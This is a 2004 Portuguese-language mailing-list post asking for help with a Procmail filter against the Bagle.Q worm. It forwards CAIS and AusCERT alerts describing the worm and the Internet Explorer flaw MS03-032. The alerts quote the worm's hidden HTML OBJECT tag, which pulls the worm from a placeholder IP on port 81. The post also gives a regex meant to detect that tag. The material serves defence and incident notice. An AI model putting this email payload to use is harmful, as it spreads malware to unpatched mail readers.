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[Fwd: [Fwd: [ALERTA] CAIS-Alerta: Nova variante do Worm Bagle.Q (AUSCERT

From: Erino Guilherme de Andrade
Subject: [Fwd: [Fwd: [ALERTA] CAIS-Alerta: Nova variante do Worm Bagle.Q (AUSCERT AL-2004.07)]]
Date: Thu, 18 Mar 2004 18:09:11 -0300
User-agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.6) Gecko/20040113 
Camaradas da lista, boa tarde.
Estou tentando criar uma regra no Procmail p/ bloquear o seguinte texto (verificar mensagem abaixo) que vem no corpo da mensagem enviada pela nova variante do vírus Bagle (a Bagle.Q). Como não entendo de expressões regulares, estou apanhando um bocado para criar a regra... 

Texto que vem na mensagem do vírus:

  <html><body>
  <font face="System">
  <OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
  </OBJECT></body></html>

Já tentei o seguinte mas não funcionou:

:0 :B
* .<OBJECT STYLE=\"display:none\" DATA=\"http://[0-9]???\.[0-9]???\.[0-9]???\.[0-9]???:81/373273\.php\";> 
{
  :0
  /dev/null
}

Grato por qualquer ajuda...

Abração
Erino.

-------- Original Message --------
O CAIS esta' repassando o alerta divulgado pelo AUSCERT,"(AUSCERT
AL-2004.07) AUSCERT ALERT - Worm Bagle.Q exploits Internet Explorer and
Outlook Vulnerability", tratando da propagacao de uma variante do Worm
Bagle.Q que explora vulnerabilidade no Internet Explorer e Microsoft
Outlook.

A variante Q explora uma vulnerabilidade identificada no Internet Explorer
que permite ao worm infectar o sistema sem a intervencao do usuario e sem
a presenca do executavel anexado na mensagem. O Microsoft Outlook e'
vulneravel a este Worm pois utiliza o Internet Explorer para visualisar
mensagens HTML.

A infeccao do sistema ocorre em duas etapas:

. Um mensagem e' recebida com o seguinte conteudo:

  <html><body>
  <font face="System">
  <OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
  </OBJECT></body></html>

. A leitura da mensagem com um dos aplicativos de email vulneraveis
(Microsft Outlook e Microsoft Outllok Express), permite que o virus/worm
seja carregado atraves de uma conexao http com o IP especificado no corpo
da mensagem.

Sistemas infectados pelo worm passarao a enviar mensagens para os
enderecos de email encontrados na maquina vitima.

A vulnerabilidade explorada pelo Worm foi descrita nos seguintes alertas:


. Patch Acumulativo para o Internet Explorer (822925)
  http://www.rnp.br/cais/alertas/2003/MS03-032.html

. Microsoft Security Bulletin MS03-032
  http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx


Em virtude da exploracao da vulnerabilidade e da potencial propagacao do
Worm, o CAIS recomenda que sejam aplicadas as correcoes necessarias com
urgencia, conforme descrito nos alertas citados acima.


Maiores Informacoes:

. Sophos
  http://www.sophos.com/virusinfo/analyses/w32bagleq.html

. Computer Associates
  http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38599

. McAfee
  http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101108

. Trend Micro

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE_BAGLE.Q&VSect=T

. AL-2004.07 -- New Bagle.Q Worm Spreading Rapidly
  http://www.auscert.org.au/render.html?it=3957

. Patch Acumulativo para o Internet Explorer (822925)
  http://www.rnp.br/cais/alertas/2003/MS03-032.html

. Microsoft Security Bulletin MS03-032
  http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx


O CAIS recomenda aos administradores de plataformas Microsoft que
mantenham seus sistemas e aplicativos sempre atualizados.

Atenciosamente,


################################################################
#   CENTRO DE ATENDIMENTO A INCIDENTES DE SEGURANCA (CAIS)     #
#       Rede Nacional de Ensino e Pesquisa (RNP)               #
#                                                              #
# address@hidden       http://www.cais.rnp.br                #
# Tel. 019-37873300      Fax. 019-37873301                     #
# Chave PGP disponivel   http://www.rnp.br/cais/cais-pgp.key   #
################################################################

===========================================================================
A  U  S  C  E  R  T                                           A  L  E  R  T

                        AL-2004.07 -- AUSCERT ALERT
                    New Bagle.Q Worm Spreading Rapidly
                               18 March 2004

===========================================================================

AusCERT is aware of local activity by a new type of mass-mailing worm.
Dubbed Bagle.Q, this worm exploits a recent vulnerability in the Microsoft
Internet Explorer engine to allow infection without active user
intervention and without including the virus executable in the email
message. The worm has two stages of execution:

        1. An email message is received with the following (example) body:

        <html><body>
        <font face="System">
        <OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
        </OBJECT></body></html>

        2. Upon preview within vulnerable mail applications (eg Microsoft
        Outlook and Microsoft Outlook Express), the virus/worm body is
        downloaded via HTTP from the IP address in the DATA field of the
        HTML message.

Machines infected with the worm repeat the process, using the worm's
inbuilt SMTP engine to send the message to addresses harvested from various
files on the computer, and constructed with a DATA field containing either
the infected machine's IP address or one from a hard-coded list of IP
addresses in the worm itself.

The vulnerability exploited by this worm is Microsoft Security Bulletin
MS03-032 [2][3]. System administrators should apply the measures described
in that advisory to correct the vulnerability, either manually or by using
Windows Update. Anti-virus vendors will have updated signature files
available soon, and these should be applied as soon as possible.

It appears, so far, that the URL used to download the viral executable
consistently uses TCP port 81, so sites may wish to block that port
outbound as a stop-gap measure while more permanent measures are prepared.
However, as some legitimate web sites utilise this port, this measure
should be regarded as temporary only.

References:

[1] Protecting your computer from malicious code
        http://www.auscert.org.au/3352

[2] Microsoft Security Bulletin MS03-032
        http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx

[3] AusCERT External Security Bulletin ESB-2003.0588
        http://www.auscert.org.au/3371

[4] Sophos
        http://www.sophos.com/virusinfo/analyses/w32bagleq.html

[5] Computer Associates
        http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38599

[6] McAfee
        http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101108

[7] Trend Micro
        
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE_BAGLE.Q&VSect=T

- ---------------------------------------------------------------------------

The AusCERT team has made every effort to ensure that the information
contained in this security bulletin is accurate at the time of publication.
However, the decision to follow or act on information or advice contained in
this security bulletin is the responsibility of each user or organisation, and
should be considered in accordance with your organisation\'s site policies and
procedures. AusCERT takes no responsibility for consequences which may arise
from following or acting on information or advice contained in this security
bulletin.

If you believe that your computer system has been compromised or attacked in
any way, we encourage you to let us know by completing the secure National IT
Incident Reporting Form at:

        http://www.auscert.org.au/render.html?it=3192

AusCERT maintains a World Wide Web service which is found on:
http://www.auscert.org.au.

Internet Email: address@hidden
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business
                hours which are GMT+10:00 (AEST).  On call after hours
                for member emergencies only.

Postal:
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld  4072
AUSTRALIA
===========================================================================

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